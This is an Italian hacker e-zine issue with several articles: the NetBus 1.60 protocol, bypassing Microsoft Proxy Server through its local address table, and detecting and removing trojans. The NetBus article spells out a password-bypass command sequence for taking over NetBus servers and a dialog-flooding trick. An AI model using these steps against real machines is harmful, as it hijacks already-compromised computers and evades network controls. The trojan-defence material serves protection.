                _______          __ __________
                \      \   _____/  |\______   \__ __  ____   ____   ___________ ______
                /   |   \_/ __ \   __\       _/  |  \/    \ /    \_/ __ \_  __ /  ___/
               /    |    \  ___/|  | |    |   \  |  /   |  \   |  \  ___/|  | \|___ \
               \____|__  /\___  >__| |____|_  /____/|___|  /___|  /\___  >__| /____  >
                       \/     \/            \/           \/     \/     \/          \/
                                                                                 4 0 4
             --------------------------------------------------------------------------
                                        FrOm Spp to tHe NeT
                                        
                                          NumEro qUaTTro
             --------------------------------------------------------------------------
Sommario:
---------

Intro                                     By ChRoMe


Il protocollo di comunicazione
del NetBus 1.60 
utilizzo malizioso e non                  By Flamer



Guida al Microsoft Proxy Server 2.0       
(parte prima)                             By Brigante

                                         
Backdoors,Troians,
Gestori remoti di sistemi
-------------------------
Come difendersi
-------------------------                 By ChRoMe


#Layers of the Net# 
(Parte Prima)                             By Override

La programmazione del winsock.            By Master

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Intro
-----
By ChRoMe
SPP memBer


Eccoci ancora qui'.
Oggi non mi va' di scrivere gran che',sikke saro' abbastanza sintetico.

Leggetevi il numero..che e' interessante....hehehehehehehe
ciao a presto
ChRoMe
che non ha un BIP da dire

P.S.
Kome al solito,grazie a tutti,i belli e i brutti
:)


                                        _#_
                                        
                                        

Il protocollo di comunicazione
del NetBus 1.60 
utilizzo malizioso e non
-------------------------------
By -=F14m3r=-
SPP MeMber 
flamer@freemail.it


Questa guida vuole essere una descrizione del protocollo di comunicazione
utilizzato dal netbus 1.60, cioe' dei comandi che vengono dati dal client
e delle risposte del server.
Il server del NetBus apre in ascolto la porta 12345 TCP, e comunica tramite
pacchetti NON CODIFICATI... il che vuol dire che un ottimo client puo'
tranquilamente essere TELNET, basta solo sapere quali comandi devono essere
inviati.

I comandi che utilizza il netbus sono costruiti nel seguente modo:
(nome comando);(parametro);(parametro);....[ASCII D0h]
Cioe' i vari parametri sono separati da un ';', e il tutto termina con un
INVIO. Vediamo un esempio.
Per aprire il CD il server invia questo:

Eject;1[INVIO]

mentre per chiuderlo:

Eject;0[INVIO]

NB: Da ora in poi omettero' di segnalare l'invio, dando per sottinteso che
ogni comando termina cosi'.

Ma veniamo a qualcosa di veramente interessante... la password.
Il server del netbus 1.60 puo' essere settato in modo da richiedere una
password al momento del collegamento.
Il server appena qualcuno si collega invia la propria versione, seguita da
una "x" se e' richiesta la password, cioe':

NetBus 1.60 x

Se invece la password non e' necessaria, viene inviata solamente la versione:

NetBus 1.60

Quando nella casella di testo del client viene digitata la password, il
NetBus invia il seguente comando al server:

Password;0;(pass digitata)

Il server confronta la password con quella corretta, e in caso corrispondano
invia:

Access;1

altrimenti:

Access;0

Ora, quello zero nel comando inviato dal client assieme alla password e'
molto interessante. Infatti basta sostituirlo con un "1", e il server vi
fara' entrare anche se la password e' sbagliata.
Questo lo potete fare con TELNET, oppure (se ne avete capacita' e voglia)
crearvi un programmino che si collega alla porta 12345 di un determinato
IP, e spedisce i seguenti comandi:

Password;1;any
ServerPwd;(nuova password)

Il comando ServerPwd (mi raccomando rispettate le maiuscole!!) serve per
cambiare la password, e prende come unico parametro la nuova password. Se
volete eliminarla del tutto lasciate vuoto il parametro, cioe':

ServerPwd;

Passiamo ad un altro esempio... cosa succede quando premete il tasto "Get
Info" del netbus?
Lo scambio di comandi che avviene e' questo:

(client) GetInfo
(server) Info;Program Path: C:\WINDOWS\PATCH.EXE|Restart persistent:
Yes|Login ID: Pippo|Clients connected to this host: 1

Come avrete notato, il server risponde con "Info;", seguito dal contenuto
testuale della finestra di info che verra' visualizzata dal client (i
caratteri "|" sostituiscono l'invio).
Facciamo un altro esempio... il server e' protetto da password, ma noi ci
colleghiamo con TELNET e proviamo lo stesso a dare un comando, vediamo
che succede:

(server) NetBus 1.60 x
(client) Eject;1
(server) Info;Sorry, host is password protected

...e il netbus avrebbe visualizzato la finestra di dialogo.

Avete gia' capito?... Info e' un comando che il server puo' inviare al
client, ed ha l'effetto di visualizzare una finestra di dialogo in modo
MODALE (non da' la possibilita' di accedere alla finestra "madre" - quella
del NetBus - finche' non la si chiude).

Questo cosa puo' significare?...
Immaginate che un client si colleghi ad un server e riceva quanto segue:

NetBus 1.60
Info;Qui non si entra!
Info;Qui non si entra!
Info;Qui non si entra!
Info;Qui non si entra!
......................

Il poveraccio che sta dall'altra parte dovra' chiudere tutte le finestre
prima di poter utilizzare il suo amato netbus... oppure fare un bel
CTRL+ALT+CANC e terminare l'applicazione...

Prima di chiudere questa guida (che non necessariamente non avra' un
seguito, magari relativo alle versioni piu' recenti del netbus) vorrei
spiegare il funzionamento di un altro comando: l'invio di messaggi (e
ricezione della risposta).

I MESSAGGI

Quando aprite la finestra Message Manager del netbus potete vedere
varie opzioni.
Vi sono due tipi di messaggi: quelli che danno la possibilita' di
rispondere, e quelli che non la danno.
Nel primo caso, il comando che viene inviato al server e':

Message;1;(testo del messaggio)

e il server risponde cosi':

Msg;(testo della risposta)

Nel secondo caso le cose si fanno un po' piu' complicate. Il comando
inviato al server comprende gli stessi parametri necessari per la chiamata
API MsgBox. Ad esempio:

Message;0;ciao!;Information;64

fa apparire un messaggio che non da possibilta' di rispondere (0),
con testo "ciao!", titolo della finestra "Information", ed infine con
l'icona relativa ai messaggi di informazione e solo il tasto "ok" (64).
Penso che i primi tre parametri siano chiari... per chi non si intende
di API (niente battutacce, per favore!) l'ultimo parametro da'
informazioni riguardo all'icona e ai tasti che devono apparire nel messaggio.
Si ottiene dalla somma di un valore per il tipo di messaggio, preso tra i
seguenti:

Information...64
Question......32
Warning.......48
Stop..........16

ed un valore relativo ai tasti, che va preso dalla tabella seguente:

OK..............0
OK/Cancel.......1
Retry/Cancel....5
Yes/No..........4
Yes/No/Cancel...3

Il valore 2 corrisponde ai pulsanti Abort/Retry/Ignore, ma non e'
compreso tra le possibilita' della finestra di dialogo del netbus.

Il server risponde in maniera molto semplice... ad esempio nel caso in cui
sia stato premuto OK:

Answer;Person Answered: OK

E con questo concludo. Se l'argomento suscita interesse potrei anche
fare un "seguito" di questa guida, spiegando la funzione di altri
comandi del netbus, magari relativi alle versioni piu' recenti.

-=F14m3r=-

                                       
                                       _#_




Guida al Microsoft Proxy Server 2.0
-----------------------------------

Scritto da NeonSurge/Rhino9 Publications

Traduzione by 
Brigante SPP MemBer

Il Microsoft Proxy server  un server cache e "firewall" insieme. Pu aumentare la sicurezza in Internet e incrementare la risposta della Rete a seconda della sua configurazione.
Il motivo per cui la parola firewall  tra virgolette  perch Proxy Server non pu essere considerato una soluzione stand-alone per chi ha necessit di un firewall.

Il Proxy Server pu essere utilizzato come un mezzo poco costoso per collegare una intera azienda attravaerso un solo indirizzo IP. Pu essere usato inoltre per permettere connessioni inbound pi sicure alla vostra rete interna da Internet.
Usando Proxy Server, sarete capaci di proteggere meglio la vostra rete dalle intrusioni. Pu essere configurato per permettere alla vostra intera rete privata di accedere ad Internet, e allo stesso tempo bloccare ogni tentativo di connessione in entrata.

Il Proxy Server pu inoltre essere usato per migliorare le prestazioni della vostra rete usando avanzate tecniche di caching. Pu essere configurato per salvare copie locali dei dati richiesti da Internet. La prossima volta che il dato sar richiesto, verr estratto dalla cache senza doversi connettere alla fonte originale. Questo pu far risparmiare un sacco di tempo e di banda.

Il Proxy Server 2.0 include anche il filtraggio dei pacchetti e molte altre particolarit che saranno esaminate.

Il Proxy Server attua le sue funzionalit attraverso 3 servizi

*Web Proxy: Il servio web proxy supporta HTTP, FTP, e gopher da client TCP/IP

*WinSock Proxy: Il WinSock Proxy supporta applicazioni client Windows Sockets. Pu essere utilizzato per client che usano sia il TCP/IP che l' IPX/SPX. Questo per permettere alle reti equipaggiate con Novell di trarre vantaggi dal Proxy Server

* SOCKS Proxy: Il SOCKS Proxy  un servizio multipiattaforma che permette comunicazioni client/server sicure. Questo servizio supporta SOCKS in versione 4.3a e permette agli utenti di accedere ad Internet tramite il Proxy Server. SOCKS estende le funzionalit del servizio WinSock alle piattaforme non Windows come Unix o Machintosh.

Caratteristiche di sicurezza del Proxy Server

Insieme ad altri prodotti, il Proxy Server pu garantire un livello di sicurezza analogo ad un firewallper prevenire accessi alla vostra rete locale.

*Single Contact Point: Un Proxy Server avr due interfacce di rete. Una di queste interfacce di rete sar connessa alla rete esterna, l'altra alla rete interna. Questo migliorer la sicurezza della vostra LAN da intrusioni.

*Protezione della infrastuttura dell'IP Interno: Quando  disabilitato l'IP Forwarding sul proxy Server, l'unico indirizzo IP che sar visibile all'esterno sar l'IP del Proxy Server. Questo per prevenire che qualcuno possa trovare altri obiettivi sulla vostra rete.

*Packet Layer Filtering: Proxy Server aggiunge un filtro di pacchetti dinamico alla sua lista di caratteristiche. Con questa opzione, potete bloccare o abilitare la ricezione di alcuni tipi di pacchetti. Questo consente di avere un fortissimo controllo sulla sicurezza della vostra rete

Caratteristiche vantaggiose del Proxy

*Integrazione IIS e NT: Proxy Server si integra con NT e l' Internet Information Server meglio di qualunque altro pacchetto disponibile sul mercato. Proxy Server usa attualmente la stessa interfaccia di amministrazione dell' Inetrnet Information Server.

*Utilizzo della banda: Proxy Server consente a tutti i client della vostra rete di condividere lo stesso link alla rete esternza. In congiunzione con l'Internet Information Server, voi potete selezionare una certa porzione della vostra banda da usare con i vostri servizi di webserver

*Meccanismi di caching: Proxy Server supporta sia il caching attivo che quello passivo.

*Supporto per pubblicazioni sul Web: Proxy Server usa un processo conosciuto come reverse proxy per garantire sicurezza e allo stesso tempo garantire alla vostra compagnia di pubblicare su Internet. Usando un altro metodo conosciuto come reverse hosting, potete supportare anche server virtuali attraverso Proxy.

Cos' il LAT?

Questa  probabilmente una delle questioni pi rivolte a chi si occupa di sicurezza. La LAT, o Local Address Table,  una serie di coppie di indirizzi IP che definisce la vostra rete interna. Ogni coppia definisce un range di IP o un IP singolo.

La LAT  generata durante l'installazione del Proxy Server. Definisce gli indirizzi IP interni. Proxy Server usa la Routing Table di Windows NT per auto-generare la LAT. E' possibile che quando la LAT  auto-generata, vengano trovati degli errori nella costruzione di essa. Voi potete sempre correggere questi errori manualmente. Non  raro trovare degli indirizzi IP esterni nella LAT, o che intere subnet del vostro indirizzo IP interno non appaiano nella LAT. E' una buona idea quella di avere tutti i vostri indirizzi IP interni nella LAT.

*NELLA LAT NON DEVONO APPARIRE INDIRIZZI IP ESTERNI

Mentre si installa il software client del Proxy Server, lui aggiunger un file chiamato msplat.txt nella directory \Mspclnt. Il file msplat.txt contiene la LAT. Questo file viene regolarmente updatato dal server per essere sicuri che la LAT che usa il client sia corretta.

Per cosa viene usata la LAT?

Ogni volta che un client usa una applicazione WinSock per stabilire una connessione, la LAT viene interrogata per determinare si l'indirizzo IP che il client sta cercando  interno o esterno. Se l'indirizzo IP  interno, Proxy Server  bypassato e la connessione  fatta direttamente. Se l'indirizzo IP cui il client sta cercando di connettersi non appare nella LAT, ci determina che l'indirizzo IP sia remoto e la connessione  fatta attraverso Proxy Server. Conoscendo questa informazione, qualcuno della vostra rete interna pu facilmente editare la propria LAT per bypassare il Proxy Server.

Alcuni amministratori non si curano di questo problema perch la LAT  aggiornata regolarmente dal server, quindi ogni cambiamento fatto alla stessa verrebbe sovrascritto. Comunque, se l'utente salva la propria LAT in un file di nome Locallat.txt, la macchina client far riferimento sia al msplat.txt che al locallat.txt per determinare se un indirizzo IP  remoto o no. Cos, usando il metodo del locallat.txt, un utente pu, in teoria, bypassare permanentemente il Proxy Server. Il file locallat.txt non viene mai sovrascritto finch l'utente non lo fa manualmente.

Quali cambiamenti avvengono quando Proxy Server  installato?

Cambiamenti dal lato del server

*il Web Proxy, Winsock Proxy, e SOCKS Proxy sono installati e controllati dal Internet Service Manager.

*una versione HTML della documentazione  aggiunta nella directory %sistemroot%\help\proxy\.

*un'area di cache  creata su una partizione NTFS.

*la tavola LAT viene costruita.

*l'istallazione del cient e il file di configurazione sono aggiunti alla cartella Msp\Client.Questa cartella  condivisa come Mspclnt e di default ha il permesso di lettura pe r tutti.

Cambiamenti dal lato client:

*Il file LAT (msplat.txt)  copiato ai dischi fissi locali dei client.

*Un'icona WSP Client  aggiunta al pannello di controllo dei client Windows 3.x, Win95 e NT.

*Un gruppo di programmi Microsoft Proxy Client viene aggiunto.

*Il file Winsock.dll  sostituito con il Remote Winsock per Proxy. Il vecchio file  rinominato winsock.dlx.

*Il file Msoclnt.ini  copiato sulla macchina client.

Architettura del Proxy Server

Per capire l'architettura di un Proxy Server Microsoft, bisogna avere prima delle conoscenze di base su come funziona un Proxy per le richieste outbound da parte dei client. Ecco un esempio:

Joe apre il suo browser per visitare il suo sito di news preferito su internet. Scrive l'indirizzo IP del sito che ha memorizzato perch lo visita spesso. Il client compara l'indirizzo IP che Joe ha inserito con la tavola LAT. Nel momento in cui un indirizzo IP non viene trovato sulla LAT, viene considerato esterno. Dal momento che il client ha determinato che l'indirizzo IP  esterno, sa che deve processare la richiesta attraverso il Proxy Server. Il client inoltra la richiesta di Joe al Proxy Server. Il Proxy Server quindi controlla se l'indirizzo IP ha delle restrizioni date dall'Amministratore. Se la richiesta di Joe non  vietat, Proxy Server esegue la richiesta. Il Proxy contatta il sito Web e richiede il documento voluto da Joe. Dopo che il Proxy Server ha ricevuto l'informazione richiesta, ne viene conservata una copia nella sua cache nel caso serva anche dopo e poi passa l'informazione al client. Il sito Web si apre sul browser di Joe.

Servizi del Server Proxy: Un'introduzione

*WebProxy: WebProxy normalmente funziona sia come server che come client. Come server, riceve le richieste HTTP dai client della rete interna. Come client, risponde alle richieste dei client della rete interna inoltrando le loro richieste ad un server Internet. L'interfaccia tra i componenti server ed i componenti client del servizio WebProxy ha alcune particolarit. Per consentire controlli di sicurezza avanzati, il WebProxy fa pi che passare la richiesta da un client interno ad un server esterno. Il servizio WebProxy  un'estensione dell' Internet Information Server 3.0. Consiste di 2 componenti: Il Proxy Server ISAPI FIlter e il Proxy Server ISAPI apllication. Il servizio WebProxy  implementato come una DLL che usa ISAPI (Internet Server Application Programming Interface) e perci viene eseguita insieme ai processi IIS WWW. Il servizio WWW deve essere installato e lanciato per far s che le richieste del proxy vengano processate.

*WinSock Proxy: WinSock Proxy d servizi di proxy ad applicazioni basate sul socket di Windows. WinSock Proxy consente alle applicazioni winsock di funzionare su una LAN e di farla operare come se fosse connessa direttamente ad internet. L'applicazione client usa le API Windows Sockets per comunicare con un'altra applicazione in esecuzione su un computer collegato ad Internet.
WinSock Proxy intercetta le chiamate alle windows sockets e stabilisce una comunicazione fra l'applicazione interna e quella su Internet attraverso il proxy server. Il processo  totalmente trasparente dal lato client. Il WinSock Proxy consiste in un programma in esecuzione sul Server Proxy ed in una DLL installata in ogni client. Questa DLL  la Remote Winsock DLL di cui abbiamo gi parlato. WinSock Proxy usa un canale di controllo fra il client ed il server per migliorare le capacit del Windows Sockets di essere usato da remoto. Il canale di controllo viene settato quando la DLL del client WinSock Proxy viene caricata la prima volta, e usa il protocollo UDP. Il client Winsock Proxy e il servizio WinSock Proxy  usano un semplice protocollo ack per aggiungere affidabilit al canale di controllo. Il canale di controllo usa la porta UDP 1745 sul server proxy e sui computer client.

*SOCKS Proxy: Proxy Server supporta SOCKS Versione 4.3a. Pressappoco tutte le applicazioni client basate sul SOCKS V.4.0 possono girare da remoto attraverso un SOCKS Proxy. SOCKS  un protocollo che funziona come un proxy. Abilita gli hosts su un lato di un server SOCKS per garantire pieno accesso agli hosts dall'altro lato di un server SOCKS, senza richiedere accesso diretto all'IP (Per saperne di pi, consultare http://www.socks.nec.com/index.html)

Fine prima parte

                                         
                                         
                                         _#_
                                         
                                         
Backdoors,Troians,
Gestori remoti di sistemi
-------------------------
Come difendersi
-------------------------
By ChRoMe
SPP MemBer
------------------------
Un dovuto ringraziamento va, a Ugo,per un suo post da cui ho attinto qualche frase,a Massimiliano Baldinelli (mitico Firebeam) revisore delle FAQ di it.computer.sicurezza.varie,di cui vi consiglio attenta lettura,e da cui ho "grabbato" non poco..hihihihihih(Grazie Massi)

Bene,bene....
come promesso,nella prima parte di questo articolo,oggi analizzeremo le varie 
tecniche di difesa da questo tipo di intrusori software.
I vari programmi per l'individuazione,dove si trovano i servers nel vostro pc,
e come rimuoverli,saranno gli argomenti trattati,in questo lungo articolo.

NETSTAT
-------
Il programma NETSTAT,risiede nella vostra directory C.\Windows,lo avete tutti..e' uno dei pochi
programmelli,che lo zio Bill(stranamente)ha inserito nel WinZoZZ,e che e' di una bella utilita'.
Il NETSTAT e' un comando dos,per eseguirlo,dovete aprire una sessione dos (una finestra ms_dos,un prompt di dos,o come c@##0 volete chiamarla)
Il NETSTAT serve per visualizzare ( e monitorare)tutte le connessioni e le porte in ascolto,
vi faccio un copia e inkolla dell'help di tale comando (per vederlo "dal vivo"sul vostro pc,digitatate,al prompt di dos: netstat help.

   -------------------------------Copia & Incolla---------------------------------------
   
   
Visualizza statistiche su protocollo e connessioni di rete TCP/IP correnti.

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [intervallo]

  -a            Visualizza tutte le connessioni e le porte di ascolto.
  -e            Visualizza le statistiche Ethernet. L'opzione pu essere
                associata all'opzione -s.
  -n            Visualizza gli indirizzi e i numeri di porta in forma numerica.
  -p proto      Visualizza connessioni del protocollo specificato da 'proto';
                'proto' pu essere TCP o UDP. Se usato con l'opzione -s per le
                statistiche, 'proto' pu essere TCP, UDP, o IP.
  -r            Visualizza la tabella di routing.
  -s            Visualizza le statistiche per protocollo. Per impostazione
                predefinita, le statistiche sono visualizzate per TCP, UDP
                e IP; l'opzione -p pu essere utilizzata per specificare
                un sottoinsieme dell'impostazione predefinita.
  intervallo    Rivisualizza le statistiche selezionate, interrompendo
                per un numero di secondi pari a "intervallo" tra ogni
                visualizzazione. Premere CTRL+C per fermare la visualizzazione
                delle statistiche. Se omesso, netstat stamper le informazioni
                di configurazione correnti una sola volta.

----------------------------------------Copia&Incolla-------------------------------------- 

Allora,se avete capito bene,il netstat,puo' dirvi quali porte sono in ascolto
(listening) sul vostro pc. 
Riallacciandoci al discorso affrontato su la prima parte di questo doc,sappiamo
che la stragrande maggioranza di questi INTRUSORI,lavora con un sistema server/client.
E,che,una volta installato,il server apre una porticina sul vostro pc,restano in attesa
(listening) del segnale del client remoto,a cui dara' l'ok...per farlo entrare.
Se avete seguito fino a qui,non vi dovrebbe tornare difficile,capire che ,se netstat puo'
farvi vedere le porte in ascolto.....possiate controllare che porte aperte avete sul pc.
La prima cosa da fare! ..da lina di comando .. digitate  NETSTAT -na 10 prima
di collegarvi.
  -n            Visualizza gli indirizzi e i numeri di porta in forma numerica.
  -a            Visualizza tutte le connessioni e le porte di ascolto.
  10            il parametro 10 significa che fa una scansione ogni 10 secondi 
                delle tue porte attive (intervallo)
                
Guardate cosa vi dice netstat chiamandolo senza essere collegato ad internet
e senza aver aperto programmi tipo mirc, icq,iexplorer, netscape, Outlook,
Eudora, ecc...
Non vi deve dare nessuna porta aperta!
A meno che' non abbiate il netbios attivato,il client per reti microsoft....o altre diavolerie
per la gestione di una rete di pc.
In questo caso..dovreste ottenere un output di questo genere

Connessioni attive

  Proto  Indirizzo locale         Indirizzo remoto             Stato
  TCP    169.254.147.127:137    0.0.0.0:0              LISTENING
  TCP    169.254.147.127:138    0.0.0.0:0              LISTENING
  TCP    169.254.147.127:139    0.0.0.0:0              LISTENING
  UDP    169.254.147.127:137    *:*
  UDP    169.254.147.127:138    *:*
  
Sul Netbios,e quanto puo' essere letale.....informatevi,echecazzo mika vi posso spiegare tutto..hihihihihihihih
Allora,riprendiamo l'esempio di prima,siamo scollegati dalla rete,non abbiamo nessun programma
che apre delle porte,adesso colleghiamoci al net.
Quando vi sarete collegati ad internet.. netstat vi resta attivo [ il parametro 10
significa che fa una scansione ogni 10 secondi delle tue porte attive ] date un'okkio
alle porte che vi si sono aperte.
Adesso viene il bello.
Spiegare le funzioni di ogni singola porta richiederebbe una vera enciclopedia.
Per ora sappiate che gli indirizzi di porta vanno da 0 a 65535, e quelli 
inferiori a 1024 sono i cosiddetti Well Known Services (Servizi Ben Noti). 
I piu' usati sono il 21 per l'ftp,il 23 per telnet, il 25 per smtp (invio di posta), 
80 (http, pagine web); molti server usano anche la porta (8080), il 110 per pop3
(ricezione di posta), il 119 per nntp (le news). Il file services (in
windows e' nella directory C:\<dir. di Windows>\System) li elenca in
maniera piu' dettagliata.
Inoltre se siete felici utenti di ICQ,aol messanger..e vari programmi di messaggeria,il discorso porte diventa ancor piu' vasto.
La cosa che ci interessa di piu' sono le porte che vengono aperte dai server delle backdoors.
Mmmmmhhhh.....oggi come oggi,i vari servers sono configurabili,in pratica ognuno di noi puo' dire al server su che porta lavorare.
Le porte di Default dei servers piu' in voga sono:

- 31337 (udp),
      Questa e' la porta di default del Bo.

- 61466 (tcp),
      Master Paradise

- 50505 (tcp),
      icqtrogen

- 12345 (tcp), 12346 (tcp).
      Su queste porte puo' arrivare una connessione a NetBus.

Come ho gia' ripetuto,fino alla nausea,queste porte valgono fino ad un certo punto,chiunque puo' cambiare la porta dove il server rimarra' in ascolto.
Ricordate sempre che e' buona cosa fare un netstat di tanto in tanto.


BACK ORIFICE
------------
Su questa classica backdoor si e' scritto e riscritto,solo per completezza dell'articolo vi rendo nota della procedura per scovare il BO sul vostro pc,e la procedura manuale che occorre eseguire per la disinstallazione del server.

Come si fa' a sapere se il bo risiede sul vostro pc?
Di certo non leggendo la finestra che appare premendo CTRL-ALT-DEL. Bo
usa una funzione dell'API di Windows che serve a nascondere il processo
che la chiama. "Nascondere" vuol dire appunto che non si vede nella
taskbar ne' nella finestra che appare premendo CTRL-ALT-DEL. Mentre si
e' in linea, aprite una finestra DOS e lanciate il comando netstat -na.
Questo mostrera' tutte le connessioni attive in quel momento
(aggiungere un numero per specificare un controllo periodico ogni <X>
secondi): se fra esse ce n'e' una sulla porta 31337, e' lui!
Questo non esaurisce l'argomento, dato che la porta e' configurabile e
quindi puo' essere cambiata da chi tenta di introdursi nelle macchine
altrui. Naturalmente l'infame puo' decidere di manifestarsi apertamente,
con messaggi pop-up, e in tal caso non c'e' dubbio. Un programma utile
al controllo e' AVP System Watcher (http://www.avp.it, freeware), che
controlla il sistema alla ricerca di BO.
Antigen  un altro programma per eliminare il Boserve nella forma di
default. In ogni caso, anche se il Boserve che vi siete ritrovati
sull'HD ha nome e porta di comunicazione differenti, Antigen non
riesce a rimuoverlo ma vi rivela comunque la sua presenza e lo
disattiva sino al seguente reboot (non riesce a cancellare l'exe del
bo in versione non default e la seguente chiamata dal registro di Win).
Esistono moltissimi altri programmi che intercettano il Bo,e lo eradicano
basta che facciate una ricerca sul web....ma attenzione,una moda "maligna"
consiste nel incapsulare un server anche in un programma per la rimozione
del BO stesso........

Ed ora che so che ho il BO,posso toglierlo anche senza l'ausilio di un programma
specifico?


Certo si puo'fare anche a mano. Cercare e cancellare il file " .exe" (si',
il nome del file e' uno spazio) e windll.dll. Il primo e' il server
vero e proprio. Cercare comunque la stringa "bofilemap" nell'hard
disk e' piu' sicuro, dato che il nome del server puo' essere variato.
Andare nel Registro di Windows alle chiavi

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

dove sono i programmi lanciati all'avvio. Cancellare da tale chiave
qualunque cosa non sia di "sicura" provenienza (Barra di Office,
antivirus, demone ICQ, ...). Controllare anche

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
    
E per le altre backdoors?
..qui' il discorso diventerebbe troppo vasto...sappiate che bene o male..tutte fanno riferimento a le sopracitate chiavi del registro.
Di seguito metto i nomi e le dir dove,alcune backdoors,infilano il loro server,fate sempre attenzione che i nomi possono essere cambiati,questi sono quelli di default.....e sono abbastanza recenti.ma ripeto,attenzione....possono anche risultare sotto "falso"nome...hehehehehehehe

\patch.exe                   Netbus Trojan
\windows\patch.exe           Netbus
\windows\system\windll.dll   Back Orifice Trojan
\windows\system\exe~1        Back Orifice 
\windows\system\mschv32.exe  Master's Paradise, Blaze and Control Trojan
\windows\system\mschv.exe    Master's Paradise 
\windows\system\bubbel.exe   Bubbel Trojan
\windows\system\system.exe   NetSpy Trojan
\windows\ppmod1.sys          Phineas Trojan
\windows\ppmod2.sys          Phineas 
\windows\windll.exe          Girlfriend Trojan
\windows\system\odbc.exe     Telecommando Trojan
\windows\*.tmp               Acid Silver Trojan (usa nomi random)
\windows\system\ska.*        Email Worm
\windows\system\server.exe   Questo e' un nuovo Trojan,che sinceramente non ho ancora visto su alcuna web page,funziona come un clone di Netbus o BO,risulta trasparente alla pressione di alt+crtl+del,supporta molte funzioni di netbus,ma e',al momento,invisibile al Norton Antivirus e a molti trojans cleaner....... 

Discorso a parte per i tre trojans di sotto.
Questi possono risiedere in qualsiasi path del vostro sistema, ma la chiamata per l'esecuzione ,avviene dal registro,che li carica ad ogni start up

symstempa.exe                DeepThroat Trojan
port.dat                     Gate Trojan
icqfucke.exe                 Wincrash Trojan

Esistono,oramai.moltissimi programmi che controllano la vostra makkina.
Sia l'ottimo AVP...un potente antivirus,aggiornabile in rete,quasi settimanalmente,che trova anche le piu' recenti backdoors,che il Cleaner 2.0.o forse hanno gia rilasciato una nuova release,fanno al caso vostro.
Vi consiglio di scaricarli dal loro sito ufficiale,almeno la'.dovrebbero essere puliti.
Ad ogni modo,la miglior cosa da fare,e' stare aggiornati...io non posso scrivere qua'di tutte le back o trojans che escono...quasi settimanalmente,e vi assicuro che ne escono molte.

Un discorso a parte,se lo meritano..i fake server.
Il famoso BOSPY,NETBUSTER..e via dicendo.....altro non sono che server finti.
Un cattivo si collega al vostro pc...e con stupore trova un server attivo..bello bello lui entra,ma se vi siete installati un fake server,lui si connette a ...nulla.....
Voi potete monitorere ogni sua azione,risponderli per le rime..un giochino divertente..ma attenzione...e' pur sempre un server.
Esistono anche programmi,che vi annientano i server fake...un cane che si morde la coda..hihihihihihihihihih

Adesso..uno perche' e' veramente vasto il settore,due..xche' mi sono rotto le palle
di parlare di questi attrezzi da lamah...la faccio finita....
Il vero consiglio e' quello di cercare in rete,ogni back,ha il suo antidoto..e trovate tutto sulla rete.
Vi metto alcuni urls che possono rendervi la vita facile..ma datemi retta...cercate..cercate

http://starbuzz.net/LEENTech/Trojan_Archives.html   contiene una lista abbastanza aggiornata di varie backdoors......usatele solo a scopo....SkoLastiKo..hihihihihhi

http://www.multimania.com/cdc/index2.html   una pagina di un amiko.....Khan Khan...ci trovate moltissime cose interessanti...ma molto interessanti

http://www.nwi.net/~pchelp/bo/bo.html   contiene info sul BO..in iglese,fateci un giro

http://www.hackersnews.demon.nl/Tech%20War%20Utilities/trojan_horses.html      stessa solfa...qualche remover..qualche info.....qualche server.......fateci un salto.

OKKEY..ora sono veramente spallato (e credo che si legga tra le righe di questo artikolo)
credo che nel bene o nel male.qualkosa di piu' su le backdoors e i trojani...lo sappiate..se non e' cosi'....era meglio che andavo a donne .invece di scrivere cazzate....

ChRoMe
sempre a vostra disposizione
(x le donne.....hihihihi)

                               


                                            _#_




#Layers of the Net# 
   Parte Prima
===================
By   #Override>     						
Spp-member
===================          					
(!) TUTTO IL MATERIALE CONTENUTO IN QUESTA GUIDA E' DA RITENERSI A  (!)        									
(!)                      PURO SCOPO INFORMATIVO!!!                  (!)  								

INTRO:

Ok.. Ok.. eccomi a scrivere un nuvo art. per il gruppo...

Visto la richiesta da parte del mio gruppo di creare un'art. tecnico questa volta l'argomento trattato sara' piu' adatto agli "iniziati", piuttosto che ai Newbie.
In ogni caso mi sono cmq attenuto alla stessa linea di pensiero del mio primo art. (Hacker's Toolz) ed ho voluto prendere in considerazione alcune parti della rete meno descritte dai vari tutorials ed e-zine (ma non per questo meno importanti), ovvero la struttura di rete degli ISP (Internet Service Provider)a livello locale, ed altre cosette..

		Perche' studiare la struttura di una rete?

Come ho sempre detto, fra le capacita' di un Hacker una delle piu' rilevanti consiste nel carpire il maggior n di info su un determinato obiettivo
(server o client che sia) per poi poterle gestire nel modo migliore.
Per arrivare a cio' i passi da percorrere sono molti, alcuni li ho introdotti nel mio precedente art. , altri li introdurro in questo.
Ricordate anche che i piu' grandi ed importanti attacchi fatti oggigiorno si basano sullo spoofing (Hijackin), sniffing , ecc..
quindi e' di vitale importanza conoscere la rete sulla quale e' situato il nostro obiettivo! 

L'art. sara' suddiviso in due parti, la prima parte tecnica (questa), mentre l'altra sara' dedicata a pragmatizzare le precedenti informazioni per un'utilizzo piu' pratico ;-)
Ma veniamo al dunque. 

ARGOMENTI TRATTATI:

1. Breve intro al Tcp/Ip ed ai suoi protocolli

2. Indirizzi IP (e loro classi) 

3. Subnetting




         - Breve Intro al TCP/IP ed ai suoi protocolli -	

Il Tcp, come dovreste ormai sapere, e' un protocollo utilizzato per trasferire dati fra computer, ormai accettato come standard su Internet. 
Esso e' composto da piu' protocolli che analizzeremo in seguito.
La sua struttura e funzionalita'e' riferita al modello OSI (Open Systems Interconnection) come modello fondamentale sul quale si deve basare ogni applicazione o protocollo che viene creato. Non staro' qui a presentare i vari strati di cui e' composto il modello OSI, visto che e' gia' ben descritto da altri tutorials presenti in rete ed inoltre esula dal contenuto di questo articolo, quindi mi limitero' a dire che esso e' diviso da 7 layer (strati) quali: Applicazione, Presentazione, Sessione, Trasporto, Rete, Collegamento-dati, Fisico.
